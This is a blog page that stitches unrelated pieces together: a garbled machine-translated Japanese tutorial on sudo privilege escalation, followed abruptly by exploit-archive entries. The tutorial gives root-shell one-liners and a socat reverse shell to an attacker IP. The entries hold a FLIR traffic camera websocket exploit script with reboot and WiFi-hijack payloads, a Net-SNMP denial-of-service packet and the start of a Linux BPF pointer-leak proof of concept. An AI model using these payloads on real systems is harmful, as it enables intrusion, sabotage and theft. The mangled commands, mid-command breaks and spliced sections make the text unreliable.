Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863581393

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

以前の記事では、suidバイナリファイルおよび /etc /etcwdファイルをLinux Permissions Enhancement Techniqueに使用する方法について説明しました。今日、別の「sudoersファイルを使用したLinux許可プロンプトのヒント」をリリースしました。 CTFの課題を解決するとき、許可のエスカレーションのために、sudo -lコマンドを実行して、任意のユーザーのルートアクセス許可を常に確認します。許可の強化のためにこの手法を適用した以前の記事を読むことができます。

0x01 sudoer basics

1。基本概念

Linux /unixでは、 /etcディレクトリの下のsudoersファイルはsudo許可を持つ構成ファイルです。私たちは皆、Sudoコマンドの力を知っています。Sudoという言葉はスーパーユーザーの許可を表しています。 Sudoersファイルは、ルート特権を持つユーザーとグループを保存するファイルであり、ルートまたは他のユーザーとして一部またはすべてのコマンドを実行します。以下の写真をご覧ください:

vlvu2iksaz48214.png

sudoでコマンドを実行するときは、ルート許可を実行する必要があり、LinuxはSudoersファイルの特定のユーザー名をチェックします。また、特定のユーザー名がSudoersファイルリストにあるかどうか、そうでない場合は、sudoコマンドを使用してコマンドまたはプログラムを実行することはできません。 Sudo許可によると、ルートユーザーはすべての端末から実行し、すべてのユーザーとして行動し、すべてのグループとして機能し、Allコマンドを実行できます。

2.Sudoerファイルの構文

(rootユーザー)が特定のユーザーにsudo許可を付与したい場合、bisudoコマンドを入力して、編集用のsudoersファイルを開きます。ユーザー許可仕様には、デフォルトのルート許可が表示されます。「root all=(all:all)all」が表示されますが、実際には、以下の図に示すように、オプションであるタグオプションも提供されます。

次の例を考慮して、ユーザーRaazにsudoアクセス許可を割り当て、raazが端末にアクセスし、ルートアクセス許可を使用してコピーコマンドを実行します。ここにはパスワードタグがありません。つまり、ユーザーにパスワードが要求されないことを意味します。

注:(すべて:すべて)は(すべて)として表現できます

代わりに(root)を見つけた場合(すべて:すべて)、それはユーザーがrootとしてコマンドを実行できることを意味します

ユーザーやグループが言及されていない場合、sudoはデフォルトでrootユーザーになります

nv0bwz4hz0l8215.png

実際の状況をより深く理解しましょう。まず、Sudoグループに属さないユーザーを作成します。ここでは、1002のUIDと1002のGIDを持っているユーザー「Raaz」を追加しました。

nwalsntafse8217.png

0x02ルート許可を割り当てるメソッド

1。ルート許可を割り当てる従来の方法

システム管理者がユーザーRAAZにすべてのアクセス許可を与えたい場合、以下の手順に従ってユーザーの許可仕様カテゴリの下にユーザーRAAZを追加できます。

Visudo

raaz all=(all:all)すべて

または

raazすべて=(すべて)すべて

c4tm0zsu3pz8219.png

一方、

(1)ルートアクセスを生成

攻撃ホストを起動し、最初にターゲットシステムを攻撃し、次に特権エスカレーション段階に入ります。 SSHを介して被害者のホストに正常にログインし、現在のユーザーのsudo許可を知り、次のコマンドを実行したいとします

sudo -l

従来の方法では、PassWDオプションは、上記のコマンドの実行中にユーザー認証を有効にし、NOPASSWDオプションを使用して無効にすることができます。強調表示されたテキストは、現在のユーザーが実行する権限があるというすべてのコマンドを示します。したがって、コマンドを実行することにより、ルートアクセスを取得します。

sudo su

id

za030f1imwa8221.png

2。ルート権限を割り当てるためのデフォルトの方法

システム管理者がユーザーRAAZにすべてのコマンドとプログラムを実行するためにルートアクセス許可を付与したい場合、以下の手順に従ってユーザー許可仕様カテゴリの下にユーザーRAAZを追加できます。

Visudo

raaz all=all

または

raaz all=(root)all

デフォルトのPassWDオプションは、認証のためにここでも有効になっています。

j0ziwxoxq3i8225.png

(1)。ルートアクセスを生成

ターゲットシステムをもう一度攻撃し、上記の手順に従って許可エスカレーション段階を入力し、次のコマンドを実行してsudoユーザーリストを表示します

sudo -l

ここでは、ユーザーRaazがすべてのコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、より多くのダウンリンクステップを実行することでルートアクセスを実装できます

Sudosu

または

sudobash

注:SUDO-Lコマンドを実行する場合、上記の両方のメソッドは、PassWDオプションがデフォルトで有効になっているため、ユーザーパスワードを認証する必要があります。

mfr201pkxms8228.png

0x03パワーアップスキル

1。バイナリコマンドのルートアクセス許可を許可します

ユーザーが、/bin/cp、/bin/cat、または/usr/bin/findなどの特定のディレクトリ内のファイルまたはコマンドを実行する権利を持つ場合があります。このタイプの許可は、ルート許可の特権エスカレーションにつながります。これは、次のステップで達成できます。

raaz all=(root)nopasswd:/usr/bin/find

注:ここでのnopasswdオプションは、sudo -lコマンドを実行するときにパスワードが認証を要求されないことを意味します。

2ffd2ol1ycf8229.png

(1)findコマンドを使用してルートアクセスを生成

被害者のシステムを再度攻撃し、特権エスカレーションフェーズに入ります。次のコマンドを実行して、sudoユーザーリストを表示します。

sudo-l

この時点で、強調表示されたテキストは、ユーザーRAAZがFindコマンドを介して任意のコマンドを実行できることを意味することに気付くことができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudofind/home-exec/bin/bash \;

id

ttshrpboy128231.png

2。バイナリプログラムのルート許可を許可

時々、管理者は特定のユーザーに詳細なユーザーに、ユーザーが /etc /passwdなどのシステムファイルを編集できるバイナリプログラムを実行するために、ユーザーに承認された場合、ユーザーに承認された場合、一部のバイナリプログラムは特権エスカレートにつながる可能性があります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。 raaz all=(root)nopasswd:/usr/bin/perl、/usr/bin/python、/usr/bin/less、/usr/bin/awk、/usr/bin/man、/usr/bin/vi

woeln010ng18232.png

(1)Perl単一コマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

これで、ユーザーRaazがPerl言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、Perlシングルコマンドを実行することにより、ルートアクセスを取得します。

sudo perl -e 'exec'/bin/bash ';'

id

e1ewojyl3b28233.png

(2)Pythonシングルコマンドを使用してシェルを生成

ターゲットシステムを攻撃した後、上記のように特権エスカレーションフェーズに入り、次のコマンドを実行してSUDOユーザーリストを表示します

sudo -l

この時点で、ユーザーRaazがPython言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、単一のPythonコマンドを実行することにより、ルートアクセスを取得します。

sudo python -c 'インポートpty; pty.spawn('/bin/bash ')'

id

xlw1uqwtixo8235.png

(3)少ないコマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

tyme3zoev3m8236.png

ここでは、ユーザーRaazがLootとしてLess Commandを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

Sudo Less /etc /hosts

rjstdj1urwo8237.png

編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。

次の図に示すように、ルートアクセスが得られます。

(4)awk単一コマンドを使用してシェルを生成します

被害者システムを攻撃した後、ターゲットシステムは上記のように特権エスカレーション段階に入り、次のコマンドを実行してSUDOユーザーリストを表示します

sudo -l

この段階では、ユーザーRaazがawkコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo awk 'begin {system('/bin/bash ')}'

id

5itin0bqpx38238.png

(5)Manコマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがrootユーザーとしてManコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo man

jff1d5qjzkz8239.png

編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。

vspgd5gyiic8240.png

次の図に示すように、ルートアクセスが得られます。

5tfswerhal38241.png

(6)VIエディターを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがRootユーザーとしてVIコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo vi

bvpkvnzvltj8242.png

したがって、編集のためにVIエディターを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。上記のようなルートアクセス許可を取得するには、コマンド以下を使用できます。

s1l3bhsfayp8243.png

次の図に示すように、ルートアクセスが得られます。

id

おっと

注:NANO、MAN、VI、およびMan's Sudoへの許可は、ユーザーがシステムファイルを編集し、許可エスカレーションにつながるため、非常に危険です。

lyio50p0sg58244.png

3

システムまたはプログラムの呼び出しについては、あらゆる種類のスクリプト(BASH、PHP、Python、またはC言語スクリプト)の許可を昇格させる最大の機会があります。実行時にバッシュシェルを提供するスクリプトにsudo許可をsudo許可を与えたいと仮定します。

たとえば、実行時にルートコマンド端子を提供するスクリプトがいくつかあります。以下の図では、さまざまなプログラミング言語を使用してBIN/スクリプトに3つのファイルすべてを保存して、バッシュシェルを取得する3つのプログラムを作成したことがわかります。 3つのファイルは、asroot.py、asroot.sh、asroot.c(コンパイルファイルシェル)です。

注:OSCPの課題を解決する場合、一部のスクリプトは著者によって隠され、カーネルまたはルートシェルを活用するために使用され、特定のユーザーがスクリプトを実行するためにsudo許可を設定することがわかります。

3e4ktzwdz4m8245.png

次のコマンドの助けを借りて、sudoersファイルを編集して、Raazが上記のすべてのスクリプトをルートユーザーとして実行できるようにします。

raaz all=(root)nopasswd:/bin/script/asroot.sh、/bin/script/asroot.py、/bin/script/shell

4e3mv1anp1w8246.png

(1)bashスクリプトを実行してルートシェルを生成

SUDOユーザーリストを表示するには、次の許可標高コマンドを実行します。

sudo -l

強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.shを実行できることを示しています。したがって、asroot.shスクリプトを実行することにより、ルートアクセスを取得します。

sudo /bin/script/asroot.sh

id

nv1vakfefvi8247.png

(2)pythonスクリプトを実行してルートシェルを生成

次の許可標高コマンドを実行して、sudoユーザーリストを表示します

sudo -l

この時点で、強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.pyを実行できることを示しています。したがって、次のスクリプトを実行することにより、ルートアクセスを取得しました。

sudo /bin/script/asroot.py

id

bzc33mxba038248.png

(3)Cスクリプトを実行してルートシェルを生成

ターゲットシステムを攻撃した後、次の許可エスカレーションコマンドを実行してSUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがroot(asroot.cコンパイルされたファイル)としてシェルを実行できることを示す強調表示されたテキストを見ることができます。そのため、次のシェルを実行することでルートアクセスを獲得します。

sudo/bin/script/shell

id

az3dspdggxt8249.png

4。他のプログラムにsudo許可を許可します

上記のように、sudo許可を持ついくつかのバイナリプログラムは、ルートアクセスを得るのに役立ちます。しかし、それに加えて、FTPやSOCATなどのsudo許可がある場合、ルートアクセスで存続できるアプリケーションがいくつかあります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。

raaz all=(all)nopasswd:/usr/bin/env、/usr/bin/ftp、/usr/bin/scp、/usr/bin/socp、/usr/bin/socat

llctkmohqz18250.png

(1)環境を使用してシェルを生成

許可エスカレーションフェーズでは、次のコマンドを実行してSUDOユーザーリストを表示します。

sudo -l

ご覧のとおり、RaazにはENV、FTP、SCP、SOCATへのSUDO許可があります。ルートアクセスを1つずつ紹介してみましょう。

sudo env /bin /bash

おっと

vrezzjkwrau8251.png

(2)FTPを使用してシェルを生成

次のコマンドを使用して、FTP経由でルートアクセスを取得してみましょう。

sudo ftp

! /bin/bash

おっと

または

! /bin/sh

id

おっと

zuwdwr4dvwa8252.png

(3)socat

を使用してシェルを生成します

ここで、SOCATを介して次のコマンドの助けを借りてルートアクセスを取得してみましょう。攻撃者の端末で次のコマンドを実行して、リスナーが逆の接続を作成できるようにします。

socat file:`tty`、raw、echo=0 tcp-listen:1234

次に、被害者のホストで次のコマンドを実行すると、攻撃者のコンピューターにルートアクセスが表示されます。

sudo socat exec:'sh -li '、pty、stderr、setsid、sigint、SANE TCP:192.168.1.105:1234

kda0p31ixhd8253.png

o4zfeni0f1l8254.png

(4)SCP

を介してシェルを生成します

私たちが知っているように、SUDO許可はSCPで利用可能ですが、地元のホストとリモートホストの間でファイルを安全に移動する方法であるため、上記のようにBash Shellディレクトリを取得することはできません。したがって、それを使用して、/etc/passwdや/etc/etc/shadowファイルなどの読み取り/書き込み操作を実行するためにルートアクセスを必要とするシステムファイルを転送できます。

構文:scp sourcefile user@host:〜/ディレクトリパス

sudo scp /etc /passw

# Exploit Title: FLIR Thermal Traffic Cameras 1.01-0bb5b27 - RTSP Stream Disclosure
# Author: Gjoko 'LiquidWorm' Krstic
# Date: 2018-10-06
# Vendor: https://www.flir.com
# Link: https://www.flir.com/security/best-practices-for-cybersecurity/
# CVE: N/A
# Tested on: nginx/1.12.1, nginx/1.10.2, nginx/1.8.0, Websocket/13 (RFC 6455)

# Affected firmware version: V1.01-0bb5b27 (TrafiOne)     Codename: TrafiOne
#                           E1.00.09      (TI BPL2 EDGE) Codename: TIIP4EDGE
#                           V1.02.P01     (TI x-stream)  Codename: TIIP2
#                           V1.05.P01     (ThermiCam)    Codename: ThermiCam
#                           V1.04.P02     (ThermiCam)    Codename: ThermiCam
#                           V1.04         (ThermiCam)    Codename: ThermiCam
#                           V1.01.P02     (ThermiCam)    Codename: ThermiCam
#                           V1.05.P03     (TrafiSense)   Codename: TrafiSense
#                           V1.06         (VIP-IP)       Codename: VIP-IP
#                           V1.02.P02     (TrafiRadar)   Codename: TrafiRadar

# Vendor patched firmware version:
#
# Product name                Firmware      Released 
# ----------------------------------------------------
# ThermiCam / TrafiSense      E1.06.03      17.09.2018
# TI BPL2 EDGE                V1.00         17.09.2018
# TI x-stream                 E1.03.02      17.09.2018
# TrafiOne                    E1.02.02      17.09.2018
# ----------------------------------------------------

# Description
# FLIR thermal traffic cameras suffer from an unauthenticated and unauthorized
# live RTSP video stream access.

# Advisory ID: ZSL-2018-5489
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5489.php

# Simple PoC:

http://Target/live.mjpeg?id=1

rtsp://Target/mpeg4

http://Target/snapshot.jpg
            
# Title: FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure
# Author: Gjoko 'LiquidWorm' Krstic
# Date: 2018-10-06
# Vendor: FLIR Systems, Inc.
# Link: https://www.flir.com
# Tested on: nginx/1.12.1, nginx/1.10.2, nginx/1.8.0, Websocket/13 (RFC 6455)
# Affected firmware version: V1.01-0bb5b27 (TrafiOne)     Codename: TrafiOne
#                            E1.00.09      (TI BPL2 EDGE) Codename: TIIP4EDGE
#                            V1.02.P01     (TI x-stream)  Codename: TIIP2
#                            V1.05.P01     (ThermiCam)    Codename: ThermiCam
#                            V1.04.P02     (ThermiCam)    Codename: ThermiCam
#                            V1.04         (ThermiCam)    Codename: ThermiCam
#                            V1.01.P02     (ThermiCam)    Codename: ThermiCam
#                            V1.05.P03     (TrafiSense)   Codename: TrafiSense
#                            V1.06         (VIP-IP)       Codename: VIP-IP
#                            V1.02.P02     (TrafiRadar)   Codename: TrafiRadar
#
# Vendor patched firmware version:
#
# Product name                Firmware      Released 
# ----------------------------------------------------
# ThermiCam / TrafiSense      E1.06.03      17.09.2018
# TI BPL2 EDGE                V1.00         17.09.2018
# TI x-stream                 E1.03.02      17.09.2018
# TrafiOne                    E1.02.02      17.09.2018
# ----------------------------------------------------
#
# Advisory ID: ZSL-2018-5490
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5490.php
# Vendor firmware updates: https://www.flir.com/security/best-practices-for-cybersecurity/
# Vendor cyber hardening guide: https://www.flir.com/globalassets/security/flir-pro-security-cyber-hardening-guide.pdf

# Desc: FLIR thermal traffic cameras suffer from an unauthenticated device manipulation
# vulnerability utilizing the websocket protocol. The affected FLIR Intelligent
# Transportation Systems - ITS models use an insecure implementation of websocket
# communication used for administering the device. Authentication and authorization
# bypass via referencing a direct object allows an attacker to directly modify running
# configurations, disclose information or initiate a denial of service (DoS) scenario
# with Reboot command. The devices do not support the usage of TLS 'wss://' prefix for
# WebSocket Secure connection making the network traffic disclosed in plain-text to
# MitM evil-doers. Also, the web service has an Origin validation security issue and
# is vulnerable to Cross-Site WebSocket Hijacking (CSWSH).
#
# ---
# Request:
#
# GET ws://192.168.1.1:13042/ws/xml2 HTTP/1.1
# Host: 192.168.1.1:13042
# Connection: Upgrade
# Pragma: no-cache
# Cache-Control: no-cache
# User-Agent: Bond/00.7
# Upgrade: websocket
# Origin: zeroscience.mk:1337
# Sec-WebSocket-Version: 13
# Accept-Encoding: gzip, deflate
# Accept-Language: en-US,en;q=0.9
# Cookie: tmhDynamicLocale.locale=%22en%22
# Sec-WebSocket-Key: A5SH9PRtc3rYF49kKO4vmw==
# Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
#
# Response:
#
# HTTP/1.1 101 Switching Protocols
# Server: nginx/1.10.2
# Date: Mon, 13 Aug 2018 02:48:46 GMT
# Content-Length: 0
# Connection: upgrade
# Upgrade: WebSocket
# Sec-WebSocket-Accept: QyXaTdjpCsAyxhVnVqjMg95jepk=
#
# ---
# No HTTP/1.1 401 Unauthorized response observed.
#

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from websocket import create_connection as t00t
import time
import sys

endpoint = "/ws/xml2"

if (len(sys.argv) <= 2):
    print '[*] Usage: exploit.py <ipaddress> <port>'
    exit(0)

host = sys.argv[1]
port = sys.argv[2]

# Supported message types:
'''
<Message Type="SupportedMessages">
<Body>
	<Message Type="GetMessageConstraints"/>
	<Message Type="GetSupportedMessages"/>
	<Message Type="Session"/>
	<Message Type="Subscription"/>
	<Message Type="ClearData"/>
	<Message Type="GetConnectionInformation"/>
	<Message Type="GetData"/>
	<Message Type="GetEvents"/>
	<Message Type="GetLostData"/>
	<Message Type="GetManagedBy"/>
	<Message Type="GetPresenceData"/>
	<Message Type="GetPresenceLevel"/>
	<Message Type="GetPresenceLevelHistory"/>
	<Message Type="GetStorageLimits"/>
	<Message Type="SetConnectionSettings"/>
	<Message Type="SetManagedBy"/>
	<Message Type="ClearBootCount"/>
	<Message Type="ClearHistogram"/>
	<Message Type="ClearStoredCounter"/>
	<Message Type="ClearSystemLogs"/>
	<Message Type="CreateAviSequence"/>
	<Message Type="DoBadStuff"/> <-- ;]]
	<Message Type="ForceEvent"/>
	<Message Type="ForceKeyframe"/>
	<Message Type="GetBootCount"/>
	<Message Type="GetBplSettings"/>
	<Message Type="GetCameraConfiguration"/>
	<Message Type="GetCameraDefinitions"/>
	<Message Type="GetCameraSettings"/>
	<Message Type="GetConfiguration"/>
	<Message Type="GetConstraints"/>
	<Message Type="GetCpuStatistics"/>
	<Message Type="GetDateTime"/>
	<Message Type="GetDisplayOverlay"/>
	<Message Type="GetEventLog"/>
	<Message Type="GetEventsDescription"/>
	<Message Type="GetFrameFlow"/>
	<Message Type="GetHardwareInformation"/>
	<Message Type="GetHardwareSensors"/>
	<Message Type="GetHistogram"/>
	<Message Type="GetImage"/>
	<Message Type="GetImageSharpness"/>
	<Message Type="GetLeptonSettings"/>
	<Message Type="GetLoggingActivation"/>
	<Message Type="GetMemoryStatistics"/>
	<Message Type="GetNumberOfOutputs"/>
	<Message Type="GetOpenEvents"/>
	<Message Type="GetOutputsState"/>
	<Message Type="GetPermissions"/>
	<Message Type="GetProductInformation"/>
	<Message Type="GetSocketInformation"/>
	<Message Type="GetState"/>
	<Message Type="GetStoredCounter"/>
	<Message Type="GetSystemLogs"/>
	<Message Type="GetTemperature"/>
	<Message Type="GetThermalQualityHistogram"/>
	<Message Type="GetThermalQualityReferenceImage"/>
	<Message Type="GetThreadInformation"/>
	<Message Type="GetTime"/>
	<Message Type="GetTranslations"/>
	<Message Type="GetUpTime"/>
	<Message Type="GetVersion"/>
	<Message Type="GetVoltage"/>
	<Message Type="GetWifiInformation"/>
	<Message Type="KeepAlive"/>
	<Message Type="Notify"/>
	<Message Type="PauseDetectionFramework"/>
	<Message Type="Reboot"/>
	<Message Type="SetBplSettings"/>
	<Message Type="SetCameraConfiguration"/>
	<Message Type="SetCameraSettings"/>
	<Message Type="SetConfiguration"/>
	<Message Type="SetConstraintsFilter"/>
	<Message Type="SetDateTime"/>
	<Message Type="SetDisplayOverlay"/>
	<Message Type="SetHardwareInformation"/>
	<Message Type="SetLeptonSettings"/>
	<Message Type="SetLoggingActivation"/>
	<Message Type="SetTime"/>
	<Message Type="SetWifiInformation"/>
	<Message Type="UpdateFrameFlow"/>
</Body>
</Message>
'''

socket = t00t("ws://"+host+":"+port+endpoint)

#print 'Sending Reboot message type (DoS)...'
#msg = '<Message Type=\"Reboot\"></Message>'
#print 'Getting supported messages...'
#msg = '<Message Type=\"GetSupportedMessages\"></Message>'
#print 'Getting system logs...'
#msg = '<Message Type=\"GetSystemLogs\"></Message>'
#print 'Getting device configuration...'
#msg = '<Message Type=\"GetConfiguration\"></Message>'
#print 'Setting new Wifi information...'
#msg ='''
#<Message Type="SetWifiInformation">
#    <Body Present="0" SSID="pwned" Channel="11" Hidden="0" Mode="AccessPoint" />
#</Message>
#'''

msg = '<Message Type=\"GetProductInformation\"></Message>'

socket.send(msg)
print 'Message sent.'
print 'Receiving...'
time.sleep(2)
priem =  socket.recv()
print 'Received data: \n%s' % priem
socket.close()
            
     _            _
    / |   ___ ___| |_ ___ ___ ___ _____ ___
 _ / /   |   | -_|  _|___|_ -|   |     | . |
|_|_/    |_|_|___|_|     |___|_|_|_|_|_|  _|
                                       |_|
2018-10-08

NET-SNMP REMOTE DOS
===================

Second bug is remotely exploitable only with knowledge of the community string (in this case "public") leading to Denial of Service:

  # echo -n "MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIuMzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQNMjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111

  # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln  127.0.0.1:1111
  ASAN:SIGSEGV
  =================================================================
  ==41062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000410 (pc 0x00000075bc0f bp 0x7ffdda226b10 sp 0x7ffdda2269e0 T0)
      #0 0x75bc0e in _set_key /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564:9
      #1 0x75bc0e in _data_lookup /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:614
      #2 0x75bc0e in _container_table_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:749
      #3 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15
      #4 0x572dc4 in netsnmp_call_next_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:640:12
      #5 0x58751c in table_helper_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table.c:713:9
      #6 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15
      #7 0x572c79 in netsnmp_call_handlers /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:611:14
      #8 0x520d86 in handle_var_requests /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:2679:22
      #9 0x524dbe in handle_pdu /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3441:18
      #10 0x51b976 in netsnmp_handle_request /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3284:14
      #11 0x515876 in handle_snmp_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:1990:10
      #12 0x7f3558 in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5437:7
      #13 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14
      #14 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10
      #15 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502
      #16 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15
      #17 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118
      #18 0x7fc1acb11b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287
      #19 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c)

  AddressSanitizer can not provide additional info.
  SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564 _set_key
  ==41062==ABORTING


PATCHES
=======

Vuln#2: sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d


TIMELINE
========

2015-04-11 Vendor releases patch of bug#1 in version control - no public article or otherwise disclosure
2016-10-06 Vendor releases patch of bug#2 in version control - no public article or otherwise disclosure
2018-01-05 I discovered both bugs
2018-01-08 Vendor notified
2018-01-08 Vendor responds - bugs already fixed in version control repo
2018-10-08 Public disclosure of exploit

PROOF OF DISCOVERY
==================

 # cat vuln2 | base64
  MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIu
  MzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQN
  MjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y
  # sha256sum vuln2
  b7f0e494b8a91c6fedb7e13b3b8dab68a951b5fdc21dd876ae91eb86924018f2  vuln2
  twitter.com/magnusstubman/status/949520565064404994


REFERENCES
==========

- sourceforge.net/p/net-snmp/bugs/2820
- sourceforge.net/p/net-snmp/bugs/2819
            
/*
Commit 82abbf8d2fc46d79611ab58daa7c608df14bb3ee ("bpf: do not allow root to mangle valid pointers", first in v4.15) included the following snippet:

=========
@@ -2319,43 +2307,29 @@ static int adjust_reg_min_max_vals(struct bpf_verifier_env *env,
                if (src_reg->type != SCALAR_VALUE) {
                        if (dst_reg->type != SCALAR_VALUE) {
                                /* Combining two pointers by any ALU op yields
-                                * an arbitrary scalar.
+                                * an arbitrary scalar. Disallow all math except
+                                * pointer subtraction
                                 
-                               if (!env->allow_ptr_leaks) {
-                                       verbose(env, "R%d pointer %s pointer prohibited\n",
-                                               insn->dst_reg,
-                                               bpf_alu_string[opcode >> 4]);
-                                       return -EACCES;
+                               if (opcode == BPF_SUB){
+                                       mark_reg_unknown(env, regs, insn->dst_reg);
+                                       return 0;
                                }
-                               mark_reg_unknown(env, regs, insn->dst_reg);
-                               return 0;
+                               verbose(env, "R%d pointer %s pointer prohibited\n",
+                                       insn->dst_reg,
+                                       bpf_alu_string[opcode >> 4]);
+                               return -EACCES;
                        } else {
=========

This allows an unprivileged user to subtract any two values that don't have type SCALAR_VALUE, and obtain a result with type SCALAR_VALUE.
One obvious way in which this is dangerous is a subtraction between PTR_TO_STACK and PTR_TO_MAP_VALUE_OR_NULL: If the PTR_TO_MAP_VALUE_OR_NULL-typed value is NULL, then this directly leaks the kernel stack pointer.

I think that pointer-pointer subtractions should only be permitted when it can be proven that both pointers point into the same object.

I have attached a PoC. BPF disassembly and output:

==============
user@debian:~/bpf_ptrleak_nullsub$ gcc -o ptrleak_nullsub ptrleak_nullsub.c && ./ptrleak_nullsub
==========================
0: (18) r1 = 0x0
2: (bf) r2 = r10
3: (07) r2 += -4
4: (62) *(u32 *)(r2 +0) = 9
5: (85) call bpf_map_lookup_elem#1
6: (bf) r9 = r10
7: (1f) r9 -= r0
8: (18) r1 = 0x0
10: (bf) r2 = r10
11: (07) r2 += -4
12: (62) *(u32 *)(r2 +0) = 0
13: (85) call bpf_map_lookup_elem#1
14: (55) if r0 != 0x0 goto pc+1
 R0=inv0 R9=inv(id=0) R10=fp0,call_-1
15: (95) exit

from 14 to 16: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=inv(id=0) R10=fp0,call_-1
16: (7b) *(u64 *)(r0 +0) = r9
 R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=inv(id=0) R10=fp0,call_-1
17: (b7) r0 = 0
18: (95) exit
processed 17 insns (limit 131072), stack depth 4
==========================
leaked pointer: 0xffff9ec802103c78
user@debian:~/bpf_ptrleak_nullsub$
==============
*/

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/socket.h>

#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))


/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
